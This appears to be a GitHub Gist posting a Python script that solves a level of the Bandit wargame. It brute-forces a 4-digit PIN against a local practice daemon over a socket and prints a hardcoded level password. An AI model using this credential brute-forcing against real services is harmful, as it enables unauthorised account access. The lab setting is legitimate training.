Last active
August 13, 2016 05:25
-
-
Save dumpmycode/26e4266caeb973d72c354f117f9004ec to your computer and use it in GitHub Desktop.
Bandit24->25 bruteforce
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /usr/bin/env python | |
| # Author: op | |
| # Trying to measure script run time including printing output to screen | |
| # seems like it only measure execution time. | |
| import socket | |
| import time | |
| pwd = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ ' | |
| start = time.time() | |
| sock = socket.socket() | |
| sock.connect(('127.0.0.1', 30002)) | |
| sock.recv(2048) | |
| for i in xrange(10000): | |
| sock.send(pwd+'{0:04}\r\n'.format(i)) | |
| print('Trying: ' + pwd + '{0:04}'.format(i)) | |
| reply = sock.recv(1024) | |
| print(reply) | |
| if 'Try again' not in reply: | |
| end = time.time() | |
| print(end - start) | |
| exit(0) | |
| sock.close() | |
| end = time.time() | |
| print(end - start) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment